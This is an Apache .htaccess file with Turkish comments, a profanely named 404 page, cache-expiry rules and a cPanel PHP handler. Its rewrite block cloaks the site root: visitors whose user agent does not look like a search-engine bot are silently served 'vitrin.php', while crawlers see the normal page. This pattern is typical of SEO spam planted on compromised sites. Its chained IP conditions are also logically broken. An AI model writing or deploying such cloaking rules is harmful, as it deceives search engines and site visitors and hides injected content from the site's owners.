ErrorDocument 404 /siktir.html

<IfModule mod_expires.c>
ExpiresActive On
ExpiresByType image/jpg "access 1 year"
ExpiresByType image/jpeg "access 1 year"
ExpiresByType image/gif "access 1 year"
ExpiresByType image/png "access 1 year"
ExpiresByType text/css "access 1 month"
ExpiresByType text/html "access 1 month"
ExpiresByType application/pdf "access 1 month"
ExpiresByType text/x-javascript "access 1 month"
ExpiresByType application/x-shockwave-flash "access 1 month"
ExpiresByType image/x-icon "access 1 year"
ExpiresDefault "access 1 month"
</IfModule>


<IfModule mod_rewrite.c>
RewriteEngine On

# Botlar için kontrol
RewriteCond %{HTTP_USER_AGENT} !(bot|crawl|slurp|spider|google|yandex|bing|duckduck|teoma|baidu) [NC]
# Basit Google IP kontrolü (daha kapsamlı liste gerekebilir)
RewriteCond %{REMOTE_ADDR} !^66\.249\. [OR]
RewriteCond %{REMOTE_ADDR} !^64\.233\. [OR]
RewriteCond %{REMOTE_ADDR} !^72\.14\. [OR]
RewriteCond %{REMOTE_ADDR} !^74\.125\. [OR]
RewriteCond %{REMOTE_ADDR} !^66\.102\. [OR]
RewriteCond %{REMOTE_ADDR} !^34\.

# Eğer bot değilse, vitrin.php'yi göster (URL değişmeden)
RewriteRule ^$ vitrin.php [L]
</IfModule>

# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php82” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php82 .php .php8 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit
